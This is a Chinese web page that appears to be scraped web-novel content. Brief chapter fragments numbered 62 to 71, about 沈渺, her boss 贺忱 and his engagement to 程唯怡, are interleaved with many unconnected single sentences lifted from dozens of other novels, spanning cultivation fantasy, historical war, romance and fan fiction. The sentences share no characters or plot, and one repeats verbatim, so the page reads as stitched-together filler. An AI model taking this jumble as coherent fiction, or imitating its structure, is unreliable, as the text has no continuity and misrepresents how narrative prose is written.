事情到这里,似乎形成了一个悖论,不过军备首长却解决的很好,既然是由技术引起的,那边用技术去解决,如何解决?好出风头的宋天明不就是最好的人选吗?
阴阳家的九宫八门中的迷阵,居然被你们不知不觉就给走出来了???
伍巍手持炸弹才扯出一半,腰都还有直过来,一听到魏仁武大喊,立马不敢动弹分毫。
“司君昊!”她忍不住喃喃的在心里重复他的名字,每喊一次,心里就多一分甜蜜和感动。
艾淘淘原本想抗议的,但是看到她们的脸色,虽然不舍,还是乖乖的任由她们带着自己离开了游乐园。
62.准未婚夫:贺忱准未婚妻:程唯怡
你说吧,有什么事情无奈的李兵只好问道:我只是想要让你帮我去,他的坟前送封信能让他过来看看我,他以前的住址就在双屿村离这里不远就在郊区。
阴阳,一黑一黄两道劲气龙腾般闪过阿修罗王的身前,阿修罗王身体被震的翻飞开去。
“王爷,诸事已经安排妥当,只等明日的登基仪式了!”雷世猛对着萧铣恭敬的说道。萧铣在襄城起事之后自称梁公,之后拿下襄阳之后便称梁王,而如今拿下了荆楚之地之后,野心也更大了,想要称帝。
“这是什么地方!”纳铁看着忽然出现的的地方有点疑惑的问道。
“王爷高明,这一来可以监视降军的动静,而来又可以恢复农事,两不耽误,一举两得。”杜如晦说道。
此时此刻,除了土宗之外,各大宗门之前,都有来自其他宗派的人前来拜访。
怎么回事?他本能的扣紧了海鳗的腮,但突然失明的惊慌还是令他不由自主的低哼出声。
前方不远就是洞口了,鲨鱼已经退出了洞口,有微微的光线透露了进来。两人静立在水中,从洞口望去,还能看到虎鲨偶然飘过的影子,看来它只是暂时退避,仍旧在洞口徘徊守候。
那样的白少紫已经让唐唐无法承受了,所以他不想再给她添任何麻烦了。
一曲终,众人久久的不能自已,深深的沉醉在由琴声诉说的故事之中,直到收音许久,大殿之中依然鸦雀无声,谁也不想破坏这一份美好。
市政府的官员和宁氏的总裁宁泷,接到了邢少尊之后,就直接去了帝王府,在饭桌上边吃边谈。
我不是贬低刘轩辕,说实话,刘轩辕在我身边来说,算是家教最好的了,人也高大帅气,就算干坏事都透着一股大家族出来的腹黑气质,很不错。
宋晚晴好心好意的来送徐娜姿离开,这个徐娜姿竟然自己从楼梯上滚了下去,嫁祸给宋晚晴,现在唐嘉恒竟然不分青红皂白的责怪宋晚晴,身边的佣人纷纷看不过去了。
尤其是坐在车里的那几个家伙。坐在车里一脸镇定的样子。仿佛卢克他们已经是跑不了了。站在车后面的三个家伙也只是举着枪。并沒有开枪。看这样子。似乎是打算逼着他们去什么地方的样子。
朝潮几人此时早就已经将舰装拿了出来,看到卢克的手势之后,直接从他身后跳上前来,舰炮的炮口毫不犹豫的就指向了那些围起来的星盗们。
“老济南大米干饭把子肉、水晶肘子、山东焖烧鸡,再整上壶一品景芝的烫酒,啧啧啧爽的你们不要不要的!”中年大叔也没有见外,帮着我们要了几个特色菜,一来二去我们就熟悉了,正好我也跟对方攀谈起来。
仿佛两颗巨大的玻璃球。哥斯拉的两颗眼珠子竟然全都从眼眶中挤了出去,一颗飞了出去,另一个就挂在眼眶外面,一些白色的脑汁混着青灰的血液流了出来。
这么晚来自己屋里,不可能只是寒暄一下这么简单,沈关关索性就直白的问道。
烟毛僵尸的骨灰刚刚落到门上,立刻“呼”的一声燃烧了起来,腾起了熊熊的绿焰。
“老夫知道了,让孩子们,把所有的尸首都拢到一块,全都烧了吧,不能让那些畜生给糟践了。”伯颜贴木儿轻叹了一声,挥了挥手道。
白名鹤到这里的时候,已经封园几十年的上林苑从白名鹤进来,一直走到校场,白名鹤怀疑自己是不是走错了地方。
白名鹤接到电报,也准备去看看这个出海口,从战略上讲,这里很重要。船正准备出海,却又接到了电报,谢家千金谢欣怡的船到了。
翌日一早,景府开门迎客时,安岚也已经梳洗好,正在雁园内用早饭。
吴山花脸色难看,也不知道在想什么。突然胃里一阵翻滚,赶紧跑到旁边一阵干呕,吐了不少酸水出来,这才觉得好受多了。
七星阵围住张虎恩纠缠了许久,本来压力就越来越大,谁知道又来了两个捣乱的华山弟子,那个面貌猥琐的老头还好一点,只是躲在一旁畏首畏尾的不愿冒进,可这看起来洒脱的年轻人却蒙着头就朝这边冲,这是要破阵吗?
叶乘风大约到了水下八十多米的时候,仍然没有见底,不禁越来越心惊了。
苏帘听了,顿时瞪大了眼睛,还要回宫?!她前前后后给了那么多理由,居然还是要回那个大笼子里吗。
大哥……他大约并不敢相信玄烨会永远待她好吧?毕竟花无百日红。人无千日好,这个时代人的眼光,只有儿子才是最坚实的依靠。苏帘虽然不怎么认同,却也并不反驳这话。
在我们回去的路上,发现了北崎,他正怪异的跪在地上,一动不动。
付千国的想法虽然不完全对,但有一点是正确的,许阳和云立飞比拼炼‘药’术,的确是要利用云立飞的名气,让自己的威名彻底传开。
幸亏自己将符箓和阵法成功融合,否则,今天要想山峰炼制成阵心,难比登天,先不说需要消耗多长时间,单是需要的材料,就不是现在的凌天所能凑齐的。
63.给她的孩子当爹!
一张接一张,贺忱的名字在她笔下写得张扬肆意。
她的字体好看,苍劲有力。
写累了,她揉着酸楚的手指,淡淡地看着一张张刺眼的红色请柬。
上百份请柬,至少要写一天。
一抹硬朗的身影出现在到达大厅的出口,脚上踩着墨绿色的军靴,下端是深色牛仔裤,上端是棕色大衣,这抹器宇轩昂的身影瞬间吸引了众人的目光。
发送完不到几秒,陆以辰的短信就来了,口吻温柔地说:可以,那到时见。
月星歌想到这里,朝着化身为玄真的帝墨白看了过来,想来,他也会想尽一切办法让她成为他的弟子吧?
全城百姓彻夜点灯守在街上,等待皇上与太子回京,这会儿见朱门打开,全数振臂高呼万岁千岁,一阵阵的齐声鼓噪喧闹声比除夕的鞭炮还要响亮热闹。
四名大剑师,就算加上战宠,也绝对无法与傲方尘这样的顶级剑圣抗衡。
原本沐寒烟还指望着沐成两人发现不妥进来救她,这下也死心了,算他们两人进来,除非斩掉她的右手,恐怕也没有办法救得了她。
他无数次逃跑,无数次被抓回,在那叫天天不灵叫地地不应的深山里,开始了真正的改造。
“好字!”看着牌匾“龙岩学院”几个苍劲古拙的大字,凌宝宝情不自禁的赞道。
陶宝低头看了眼地上的影子,这都下午四五点钟了,能在这个时间点起床的,脑子随便想想就知道了。
你白枫眠不是很能么,敢调戏我娘?敢维护白璇玑那个贱人?享受我送给你的礼物吧,呵呵。
她是高阶炼丹师,对于炼丹之道十分熟悉,正因为熟悉,才更加震惊。
叶天重重的点头,然后一拳随意的打在沙袋上,立马打出了一个洞,沙子在里面流了出来。
兰欢既要维护自己的威信与威望,也要将那天材地宝占为己有,同时还要树立一个高大的师姐形象。
想着这些,人们看着梅龙的神色满是取笑和怜惜,如果不是梅龙的身份特殊,都要出言讽刺了。
这样会把整个王国的修炼天才都整合在一起,或许会导致一些势力太过于强大,不太好管制,但总比零散着闹事要强。
这是芙蕖的认知,她并不知道的是这位叫做清寒的剑姬就是夏星寒。
被安娜毫不留情的当着这么多人骂阿猫阿,宝辉终于忍不住了,气急攻心,一口老血喷了出去。
会有缺乏自信的修士宁当鸡头不当凤尾,偏爱在低级修士中寻找优越感,还有的是路过时见财起意。
“木槿若是一直守在门外着不走,先生可就回不去了。”槿风笑着低声说道。
“总之无论你怎么说!烈焰现在就是我们慕家的当家主母,就是我们的家主夫人!你想不认账?那也不行!!”慕房中气十足地吼声,听得烈焰抖了抖唇角。
“博晋,你别说话。”江霄云视线拐了一眼江博晋,想让他安静一点。
无极山这边,因为早在几十年前便开始布局,此时倒是没有什么引人注目的大动静。
月意不是很能听懂他说了什么,每次他喝到醉,说话总是软软糯糯,藕断丝连的。
这话一出,场中的皇天城之人都是眼神再次一变,他们都听清楚了,简单来讲,这剑宗,也想拉拢方恒和周通。
64.贺忱与程唯怡订婚
不是不配给何之洲的孩子当爹。
而是不配,再跟沈渺在一起。
毕竟他现在跟程唯怡都到了订婚这一步,都变成二手男人了。
“奶奶,我们怎么办啊?”贺懿晃着贺老夫人的胳膊,“帮帮渺渺啊!”
贺老夫人一脸老谋深算,脸上的褶子都有十几道弯。
“你哥马上要订婚,这事儿暂且压一压,等他们订完婚,我就去找何家谈谈!”
“哼哼,只黄金白银就有一亿两千多万两,勋戚们交上来的一应字画珠玉等,至少也是这个数字。”崇祯大叔开心的像个两百斤的胖子。
追风被人偷袭虽然没被伤着,但吃了一惊,原本不会对地上家伙造成重伤,但追风受惊后,哪里还能收住劲力,直接踩断了阿迪的一条肋骨,顿时将他疼晕了过去。
“我发誓就一次好吗?因为实在忙不过来了,对不起。”于悠委曲求全的向他们鞠躬,这绝对是自己最卑贱的一次。
沙迪克此时都不敢眨眼,还有一个入玄境的老者,其气息似乎是大雪山一脉的,但浑身包裹严实不好确认其真实身份。
如果逾期,你将在战争爆发的第一天于前线缺席,跑去随便做个冒险者任务。
长辈们原先怎么看怎么顺眼的徒弟现在怎么瞧怎么不进,跟百越说话时也忍不住带一点羡慕。
一个个都想着出海,海外要真是那么好,怎么不见历代中原天子开发海外?
于悠顿住,该怎么说明这一切,真正该谴责的人是他,为什么要自己承受?
杜雷死死的盯着眼前的男人,骨龙虽然十分厉害,可是召唤它的召唤师却并不擅长格斗,尤其是骨龙在距离这儿还有很远的情况下,他完全有把握将眼前的男人制服,从而让处于狂暴状态下的骨龙停下来。
那声音,忽高忽低,语调诡异,令人一听就联想到某种表皮湿润滑腻的,经常在阴暗潮湿地域里缓缓爬行的蛇类。
“还是这位兄台有见识,在下秋宇。”秋宇听到有人赞赏了自己的见解,自然十分高兴,连连邀请李愔坐下。
段誉坐在大殿首座,右手边乃是乔峰与阿朱,以及鸠摩智。而对面乃钟灵,木婉清,王语嫣以及李清露。
陈洛这种教育方式倒是让陈桥恩觉得很新奇,或者就是这种独特的教育方式才养成了两个宝贝现在这样又聪明又可爱又萌的模样吧?
他虽不是这镇上的人,但却跟这镇子上的人交好,看着他们受苦,班大师也是无可奈何。
巨/大的冲击力将整片战场都席卷了一遍,无论是哪个还正在战斗的从者,都只能停下来各自防御。
本来面对一名憎恨无比的‘精灵’,鸢一折纸就因为自己的无力忍不住的愤怒。现在莫迪居然用这种懒洋洋的语气,当然让鸢一折纸更加愤怒了。
高渐离还记得临行前巨子对自己说的话,宁可卑躬屈膝,绝不白白丢了性命。
人们虽然不喜欢那种感觉,但是却也阻止不了那朵云的出现,所以每当这朵云出现,人们也就视而不见,那个时候还算勉强生活正常。
“三秒弱鸡,惊呆了吧……”一边红色长发的美杜莎强忍着自己惊讶的表情,还不忘记嘲讽一下自己的宿敌。
在她们的认知里面,这是和莫迪签订了心灵契约后直接从莫迪那本继承过来的能力,她们并不知道有系统的存在。
65.程唯怡是被沈渺害的!
天旋地转间,沈渺的手胡乱抓了一把,紧紧勾住了栏杆。
惯性抻的她胳膊生疼,好在她摇摇欲坠的身体,悬空在那儿,没有摔下去。
可她身体后坠,整体重心向下,费了半天力气也没有站稳。
朱言撞到了枪口上,以她对百里圆珠的了解,不发作不揭穿,那是不可能的了。
鼻息之间满是他身上的雄性气息,一手撑在他的胸口,单薄的衣料下,触手之间尽是他贲张有力的肌理,让她忍不住流连。
朵朵没听明白,不过她也不想去弄明白,眼下全是对皇宫的新鲜感,这可是她第一次进入皇宫里看看。
上官菁话说的正起劲,突然被慕少风捂住了唇,“唔唔唔”的摇头,想要挣开他的手,他却捂得更紧。
“这你就受不了?你看蔡焕宏,人家以前还是大户人家的少爷呢,现在不是干的很欢乐么?”巫明笑嘻嘻的说道。
依她看,这男人品性不坏,公婆也满脸笑意,没有牵强在内,是个不错且会一直幸福的家庭。
陆明能感觉到,自己的身体似乎被一种无形力量牵引着向着法阵移动,但好在力量不大,脚下稍稍用力便停止了这个势头。
半日后,一团魂火腾空飞出魔湖,以魔血为墨,飞速在虚空画下一道大咒。
只见山巅之上,竖立这一栋普通的房屋,山顶本来似乎是尖的,但却被削去了尖头,留下了一块空地。
在龙行风的注视之下龙烟华留在玉皇殿,整个大殿之中仙人散尽,最后只剩下了龙烟华和仙帝遥遥相对。
“只要你放我们走我们绝不伤害她,你现在马上把车开走”。老三嘶吼着喊道。
到底是发生了什么事情,难道那个药有问題,要不然未央为什么会这么痛,一瞬间君无言紧张的像是热锅上的蚂蚁,左晃右晃不知道该怎么办才好。
众人听着李昊龙的话都笑了起来,李昊龙从望远镜里面看见那些军官都吓的趴了下去。现在的炮弹也打不到他们了李昊龙让大家停下来,等他们近了之后再打。
紫宝说话做事风行雷厉,正事说完,紫色人影忽然气体化,瞬间收入青铜鼎中消失不见。
“那等他们的公会建立起来,咱们一起去试试!”路人甲突然搭着路人乙的肩膀说道。
看着司徒辰乙痛苦的样子未央倔强的咬咬牙,冲上前去一把抓住他的手架在肩膀上,一句话也不说拉着他一步一步向前挪去。
“昨天晚上没发生什么事情吧?”,白瑜看了看林凡轻声的问道。
撂下这句狠话之后,李少成也不理会半残不残,在地上苟延残喘的两个手下,一溜烟的消失在人流里,没有了踪影。
而且这些混蛋,极其的骄傲,基本上还只拿钱,不出力,遇到真正的危险,还有可能转身就跑。
“好的!帮主!”孤狼是一位只有二十对岁的青年,只见他身穿兽皮甲,身形修长,一头灰发遮住了他的半张脸,只露出了一只孤傲的眼睛,只见他闻言点了下头,身上武元力爆发,身子一晃便朝着张凡杀了过去。
西装革履的保镖敲了敲办公室的门,然后冲着王若馨点了点头,退到了一边。
66.明董和程夫人来找你算账!
网曝那笔账,算在沈渺头上。
这次,依旧是在沈渺头上!
她这话一出,明黎艳沉默下来。
梁景辉现在很精神,他对沈安琪这个宝贝很好奇,他想知道,这个宝贝是怎么做到天南地北的植物能安然无恙的生活在一起的。
京都的冬天格外的冷,迟迟本来就是个喜欢赖床的主儿,这放假了,自然更是肆无忌惮。
李映雪本来就已经后悔说那话了,没想到果然还是“抓到把柄。”了,不想再纠结于这个话题赶忙转过脸低声骂道。
梁奶奶就是这么想的,在她看来,安琪不缺房子,但是他们的心意还是要的。
她说着泪眼婆娑的走近冷城邺身旁,不断拉扯他手臂,试图把拥在一起的两人分开。
在这样类似迷宫一样的场景中,没有敌人出现,反而更容易让人感受到压力。
“楚墨霖,你说我是不是做错了?”秦雪抬起泪眼婆娑的眼睛看着楚墨霖。
齐总司令在电话那头已经急的出了一脑门的汗了,这个武正良就是不吐口。
留下这么一句之后,莫斯福便迫不及待的抱着一缸酒水大口的喝了起来。
米雪不想和梁景军再多说什么了,他们以后就是陌生人了,所以,说太多也没意义。
“不用了,你让他们去战场把那些匈奴人的尸体收敛了吧,不要让他们曝尸于野。”李昂吩咐道,那些成了他奴隶的突厥人,铁勒人还不值得他花太多的心思。
孤城最终还是成了悲剧英雄,泪洒总决赛,在无数守望粉的哀嚎声中,八极战队强势登顶,国内守望圈迎来了有史以来最黑暗的时代。
青云门从此蒸蒸日上,五十年间,以是正道支柱,而到了二百年后,便已领袖正道各门诸派。
联军的士气整个的降落到了冰点,他们疯狂的迈开步伐,朝着西南方向冲去了,那里,在雷神山脉的一个分支的山峰下,有一座云雾城,那是他们最后的希望了。
听到鸣金声,那些早已存了后退念头的铁勒人和回鹘人如逢大赦,立刻潮水般退回了自家的大营,今天的攻城战,他们可是损失惨重,仅仅一天而已,他们就死伤了将近了四万人。
奥德丽心中暗叹了一声,随即催马进入了木栅栏,就与斛律光战到了一起。
深夜,梵特帝都,宫廷禁卫把整个皇宫围得水泄不通。这也是可以理解的,帝都附近已经变成了军力真空,现在就凭借着一万多留守的禁卫军看守整个帝都了,这些禁卫不把皇帝好好的看护着,万一出事了可怎么办?
“这是什么鬼?他以前用过狙吗?”付叶子愕然问出了大多数人的心声。
就算是这星空中还有其它的无数修行大界,但至少在这九界之内,当年的最强大的九界之内,太古时代中的这两位可是最强大的人物。
这似乎不太可能,否则的话,刚才那一击,足以让楚痕爬不起来。
不说和尚妙语连珠,玩笑中又带着几分禅机,却是让人感觉好笑又能获益颇多。
六耳猕猴扭头看了一眼,后面敞开着的窗户。然后拉了一下玲珑公主和翠霞,对她们摆了摆手,示意她们跟着自己走。玲珑公主顺着六耳猕猴走去的方向,也看见了一扇窗户大开,顿时就明白了六耳猕猴的意思。
67.目光敏锐地落在她小腹上
诸多的眼神朝沈渺看过来,或同情或看戏。
让沈渺意外的是,周芸只是看了她一眼,没像往常那样幸灾乐祸。
会客室的窗户半磨砂,一眼就能看到明黎艳和孙易琴坐在里面。
两人挨得极近,一边说话一边往外面看。
此时,姜禹肉身的力量已经达到两千五百斤,而动用五条妖纹的妖力之后,力量可以暴涨到五千斤,着实恐怖。
法正闻刘备唤他,这才抬起头来,见诸葛亮与庞统也停了口,向他望来,知众人都在等自己发言,当下便道:“臣观二位军师是才争论之处,乃是因为我军若兵出斜谷,则极易陷入两面受敌之境。
阿飞心生感动,抿嘴准备说话,但刚开口,就被远处悉悉索索的脚步声打断,那是由雷宾带领而来的十几人,他们全部身着新衣,面上带有浓浓的喜庆之色。
刹时,两股力量相遇,瞬间产生爆破力,一举将冷星宇震飞,身体朝着岩浆中落去。
这还已然是宗门气运有了蜕变,若是换做昔日,玄天宗这般的硬顶,恐怕玉阙子直接就出手起来了。
可儿先是疑惑了一下,但想起刚刚和沈毅交谈,也是微微了解了一些沈毅的为人,旋即还是忍不住的点点头,将手中的九源果递给沈毅,沈毅见到可儿同意了,轻轻点头一笑,便是将九源果接到了手中。
不过此刻所说话的,却非这妖尸,而是妖尸胸前的一面银色法轮。
老实说,当牛百万出现的时候,我们花了好半天时间才分辨出来哪一个是牛百万,而哪一个才是他的坐骑。
却说薛冰被升为五虎上将军之后,时常被招至王府当中与刘备叙话,众人皆知其为刘备身前极重要的人物,这往来拜访的人,比平常又多了许多。
王月涵身子一震,停下了脚步,转头望着大厅里的父亲,只见王洪也在凝望着她。
之前才说过自己没有在和他生气所以沐晓烟也不好直接坐到其他位置上面,只好硬着头皮坐在了皇甫西爵的身边。
“清澜,你是不是早就知道了这个比赛,所以才早早准备好了作品?”丹尼尔问。
因为如果布玛死都不跟自己说,时光机在哪里,那真的是一阵的无奈。
“诶!那个苟副部长,咱们得加派点人手,最近他有点不老实。”妖狼在一旁搭了话。
秦星宽了宽心,转身看了眼村民已经散去的院门口,这赫连明德到底是想做什么!?
皇甫西爵哪里能不知道他这话里面的嘲讽之意,不过,皇甫西爵对于这样的语言挑衅,内心丝毫泛不起一点点涟漪,神色依旧淡然。
“没跟你称兄道弟吧?”夏琰把童玉锦拉到自己身边,朝赵之仪不满的说道。
与鼬认识了之后,特别是见识到了鼬的力量之后,千代婆婆有一种感觉,或许战争的时代,在鼬这一代,将要消失。
看到鼬的这一忍术,照美冥,长十郎,青也是一脸严肃,准备应对。
“钱我可是给你们看了,刚好两百万,难道你们还不相信?”钱丰瞪了那人一眼道。
连自己上去的资格都没有,居然敢说凡事有他,一切他都顶着?拿什么顶?三百年的老骨头去顶吗?
“你看,你看,要不是蓝多多去的及时,你早就拜拜了。所以呀,你还是老老实实的待在这里吧!”古丽。
68.今日起,你喊我一声干妈!
‘叮’
电梯门应声而开。
林昭走出来,站到沈渺旁边,“明董,程夫人,贺总有事找沈秘书。”
“有什么事以后再说,我们现在要带她去医院。”
明黎艳顾不上听孙易琴说了什么,伸出手便要抓沈渺另一只手。
他们手上有厚厚的茧子, 步伐力道很重, 上身粗壮, 应该练得都是外家功夫。
所有客死异乡、穷困无家、年少枉死,以及种种原因入不了族中坟地的人,都被归葬在这样的乱葬岗。
“你日后总会知道的!”人受剑影响是每个用剑之人最终都会面临的难关。一旦你重新拿回主动权,就是更上一层楼,反之则是入魔道,泯灭本性。
更何况,那个什么“纤魂姐姐”,与他素不相识,如今送这个令牌过来,莫不是出于什么目的拉他下水?
那个造型独特的莫乌拉大师,盘坐在地闭着眼念念有词,时不时用手中骨刀在自己露出的两边手腕上划上一道,随着血液不停溢出, 莫乌拉的身体开始不停抽搐, 七窍流血, 似乎这次的预言正在不停地榨干他的生命。
这等光宗耀祖之事, 哪怕是大摆一个月流水席都不失过分, 换做别家, 更是恨不得宣扬得天下人皆知,怎么到了弘农杨家,就这么简简单单就完了?
因为我看到了南阳仙尊的决心与智慧,钟馗的大义与孤勇,看到了精神病院那位大佛,舍弃一切,甘为人间守序至死的大善,也看到了那只猴子在命运牢笼里的挣扎。
我点头,没有再说话。车上的人几乎都靠在座椅上睡着了,红毛就更别提了,刚刚那一枪直接吓晕了他,到现在还没醒。
藤木伊夫存了羞辱人的心思,并且还有所轻视,却是万万没有想到,表面上只有半步化劲修为的忠叔竟然是一位化劲宗师,并且还不是初期、中期,赫然已经达到了后期境地。
我摇摇头:“那保不准。”我开了开玩笑,心里知道唐果的眼光肯定没有这么差。
她已经是铁了心要出家的了。她也不爱范伟忠,不可能为其还俗。
古天宇与这里已经放弃逃走的打算,他动用了全部实力,可面对同等级的三位圣族大将,古天宇最终也是被拿下,但没有击杀。
“大公子,一会儿我会陪着八公子去领奖赏,你和大总管要不要和我同去?”赵临渊插话道。
从中午开始,顾霆钧的表情从冰冷渐渐降到了冰点。在外人眼里他的表情并没有什么变化,但跟了他多年的冯峰,已经可以明显感受到他身上的低气压了。
在便宜师傅张楚和姜师傅惊异的目光中,我再次服下了一枚乌须果。
但是有时候这样的雨却下得非常大,给来旅游的人造成了一种极大的不变。
强烈的擂鼓之声,不仅仅是大长老听到,其他的长老,同样也听到了。
下一刻,平地一声雷,石破天惊的碰撞,吞灭四合八荒的风暴冲击,源源不断,令人发指。
顾霆钧能让冯峰来看她,看来并没有对她产生怀疑。楚琋月手里应该也没有什么实质性的东西,更多的可能是为了诈她。
自己家里修了个机场……这可还是在中海,而且并不是在偏远的边缘地区,这里的地皮虽然不像市中心那样寸土寸金,但是得益于周围的景区和交通,地理位置优越,价格并不便宜。
69.走了……别想再回来!
“不行!”
跳脱的话题,让沈渺没能立即反应过来。
听到‘姑姑’两个字,她像有了应激反应似的,‘噌’的站起来。
“我知道您是为我好,可这样就乱套了。”
正是这道命令,以及老人心中的执着,让他跟在莱哈德身后寸步不离。
却见琳琅说完,拆了佩剑,取了木架双剑,裙摆如同池中莲花,纷纷扬扬地开于雪地。
“那好,你先把你的腰弯下去,然后跪在地上,再用双手住地。”馒头说道。
怎么一会儿轻一会儿重的,这个也有信号不好吗?孙苏合忍着恶心,伸出食指和拇指探到脖子后面捏了捏那黏黏的植物。
这倒不是什么秘密,因为,上奏章说此事的也不是一人两人,主要是,秦凤仪经过各州府,州府供给粮米,这些自然要跟朝廷报备的。另者,各地大员,也会在折子中说一两句,这其间,便有镇南王殿下收留各地饥民之事。
托瑞多冷笑着,在他们接近领域的前一刻,亲王级别的等级碾压,让他们瞬间化为飞灰。
“那一味得罪人是不是也是你的风格!”秦东海在手机里立马吐槽了一句。
如果有异族能够修习古武传承,那对人类来说,是极其严重的威胁。
亚灵族的科技先进度,还有他的工业体系,无疑是星空中最为先进与强大的。
她崩溃大喊,不知是哪里来的力气,她竟然一路跌跌撞撞跑到了城堡的大门。
仅仅走了不到一炷香的时间,两人就来到了黑魔蝎所在的山洞,黑魔蝎在这黑雾山脉外围算是实力比较不错的妖兽,所以对方的山洞要比穿石鼠的山洞要明显一些,也是要大一些。
虽然心里有丝丝遗憾,但是王平安还是美滋滋地去炼化了这异火。
但万万没想到的是,那家伙虚弱的不像话,只是被一拳击飞,便是昏迷不醒,连带着合击技能也没办法使用了。
正当郑断刃看着这份资料的时候,门铃声突然响了起来,他将资料收起,起身去到门口,透过门边的监控屏幕看到了外面按门铃的人,让得郑断刃微微一怔。
听到这话,吴江的眼神不禁开始冰冷起来,冷声说道:“难道你以为凭你的实力可以让我全力以赴?”。
在他看来王平安既然有六级灵兽守护,那么背后一定是大势力大宗门;而那些大势力大宗门,对于虚空海秘境早已了如执掌,虚空殿的位置更是一清二楚。
而且,幻象终归是幻象,威能上肯定是比起真正的四大神兽差距颇大的。
君无忧挥剑的这一下是奔着自尽去的,是以并未收着力道,也因此重伤了君无双的掌心。
“呵呵……但愿日后你还能这般沉得住气……”说出这话的时候,他的语气中竟诡异的透着一丝期待。
原本方逸还想跟薛君歌借一百万来给他们当报酬,现在看来,还是自己有点太过天真了。
作为忍界皆知的完美人柱力,四代雷影的兄弟,奇拉比绝对符合了极乐之匣的要求。
白免面对这个问题自然只能蒙混过关,跟她们说自己经验丰富,一下就目测出了三人的身材。
“没跟你称兄道弟吧?”夏琰把童玉锦拉到自己身边,朝赵之仪不满的说道。
70.明天就把离职协议书递上去
“邀请他,君莫笑,对,就是这三个字。”陈果说着,唐柔进行了邀请,系统提示:您邀请的玩家不在竞技区。
令他们都没有想到的是,陈溪在听完整件事的来龙去脉之后,竟然皱起眉头陷入了沉思。
“资金,资金,没钱连修行都要慢别人一拍。”杜必行想着,去格斗训练场当陪练,那几万费用已经不够他现在的花销了,必须要找新的赚钱办法。
但即便如此,在此时围攻西游洞的众人里面,杨愿也绝对属于首屈一指的强者了。
但是这样一来战虎和锐一他们也出现了掉血的情况,毕竟这里最低的魔族战士也比战虎的等级还高,被这样拼命的撞击他们照样会产生掉血。
那年荣耀天下打半决赛,作为替补选手的她也只能坐在场下为他们加油。
还是曾经那个不可一世的诛神,熟悉的操作和人影,熟悉的隐身突进接幻影。
对此,不管上官兴和杜先生等人愿不愿意接受,他们都只能接受。
“黑纱!你是哪一房的,我怎么从来没见过你?”龟爪子将信将疑的问着。
不过王大伟马上使用了一个技能后就乐了,这灵力使用和法力的比列竟然是1:10,自己实际上还增加了很多。
他们径直来到设灵堂的大堂。这里,无数的官员已经等候在院子里,高级别的官员在灵前守灵,不时有官员进来祭奠,伏在灵前号啕大哭,虽然眼中并没有眼泪。只是用衣袖遮挡住脸,免得别人看见了。
虽然现在左家遍布大内侍卫,但是都集中在皇后娘娘、太子和诸位嫔妃、王爷、公主那边院子周围,以及左家围墙外围。左少阳他们院子这边并没有侍卫。
接下来管他是谁呢,只要碍到他,就算是萧炎他也照打不误。耿天乐咬咬牙,在心中对自己说道。
可是,决心归决心,到底没有治过这种病,心空落落的感觉还是没有减轻,反倒更加沉重了。
“你的意思是,我被污蔑成恶魔就是他们惯用的手段之一,而他们不仅想得到我的血液,还想尝试剥离下我的这身天赋?”,耿天乐也被这世界残酷的真相震惊了。
虽然还没有将大权拿到手里,杨潮立刻就提出了两个施政目标,开始进行革新前的准备工作。
但是他早就听过新江口水营有个中部左司,左司把总是一个很会赚钱的人,叫做杨潮。
于是我们再次陷入冷场,众人都目光灼灼地盯着我,意思也很明确:你不是信心满满地要搞定你老丈人吗?
“我需要知道一个叫走近战的姚家势力和星院的星诱卡方面的信息。”陈暮直接把自己需的帮助说出来。
看到了这两个从未见过的像宝石一样闪闪发光的东西之后,叶修也感觉到非常的好奇,这个东西从来都没有见过,不知道江山是从什么地方搞来的。
然后瞪大眼珠子,看了眼恨不得攒成一团,打个洞钻到底下去的裴清溪,神色复杂的一路飘走。
然而他话说完了才发现庄静怡突然低下了头,而且耳根子渐渐红了起来。
我转身刚跑了几步,发现前面也全是人,心想完蛋只能站在原地等死。
一排整齐的燃烧炮弹,像是一颗颗火流星一样破开浓雾,飞速的朝城墙撞来。
时间慢慢的过去,nv真人的情报源源不断的送到武栋的手中,就在前天,完颜阿骨打率领大军开始进攻辽人的中京城,中京陷入苦战。
那守门的下人便连滚带爬赶紧进去,没多时,就看到姜烜已经整理好衣裳,大步迎了过来。
我不明白萧若是不是要帮皇上挡住那一刀,但我想,萧若对皇上的情感还没达到这么深的地步。可事实上,萧若确确实实的过来了。而且还毫不犹豫的挡到了皇上跟前。
右转后,继续向前,前面依旧是石墙,这次是右边无路,因此只能左转。
赵武则是完全被武松的话惊呆了!当年杀西门庆的人还就在他的面前。
守墓园的近百名禁卫军个个手持火把,该守卫的守卫,该巡视的巡视,一切,井然有序。
同样,这位来自于东方古老国度的学者,谦逊之下的一口标准的伦敦口音的英语,也使得丹尼尔对他的好感平增了三分。
不可否认的是,丽莎的身材很火爆,脸蛋也是一流,而且,丽莎穿着的还是性感的比基尼。
看着眼前一点一点接近的集装箱,上官菲儿心里变得沉重,她不知该用什么样的姿态去面对林晓晓,更不知这场冒险的赌注到底值不值得。
至于为什么说是自己男朋友,林晓晓是有私心的,她就是想让别人知道,叶敬诚是她的男朋友,如果可以她更希望别人知道叶敬诚是她老公。
这首曲子是宋凌俢心底的一道逆鳞,如今却被庆王提起,宋凌俢又会怎么想?
东城遥给白薛迦回以眼色:按照剧本不是我领着你过来,告诉他之后,他就愤怒的离开从此不再纠缠我吗?他不按剧本来!你来帮忙想想吧。
梁若紫和郑阳听着他的话,想着他们曾经在一起的美好时光,都忍不住落下了泪。
虽然吴东城并没有介绍赵世宏的官职,只是说出了赵世宏的名字,但辛院长在省城医疗界纵横多年,省城那些风云人物在辛院长的脑海中可是如数家珍。赵世宏这个名字刚从吴东城的口中吐出,辛院长便不由得一怔。
苏绯色说得没错,她和李熯最开始的目的,的确是想逼玉璇玑和苏绯色造反,然后再借此打击。
71.该早点定下,省得到处祸害人
半小时后,京北第一医院。
沈渺从出租车上下来,她快步朝住院部走去。
三楼住院部,她推门而入,没等看清楚病房内的场景,就被迎面而来的人握住手,推出了病房。
浅姨拉着沈渺走到拐角处的死胡同,不等沈渺反应过来,她先哭出了声。
我最终没有把持住,还是喷了出来。咳咳,别误会,我说的是鼻血。身为一个正常的男性,比不了二师兄那种天赋异禀的属性,自然不可能那么淡定。而这个时候必须要有一个发泄口,于是我的鼻孔就充当了这个角色。。。。
不得不说,这货装出一副害羞模样的时候,还真有几分相似,就好像陷入了爱情的恋人一样。
还有就是拍卖会上的几件仙物,尤其是那一套佛经,十二本的,金光闪闪的伊莲娜尔觉得,那有可能是太古时代的一位佛门大佛之物。
“不用说了,林寒,我陈默向来说到做到,你救我一命,那我就必须还你!”陈默强行的打断了林寒的话,随后也是更加坚定无比的说道。
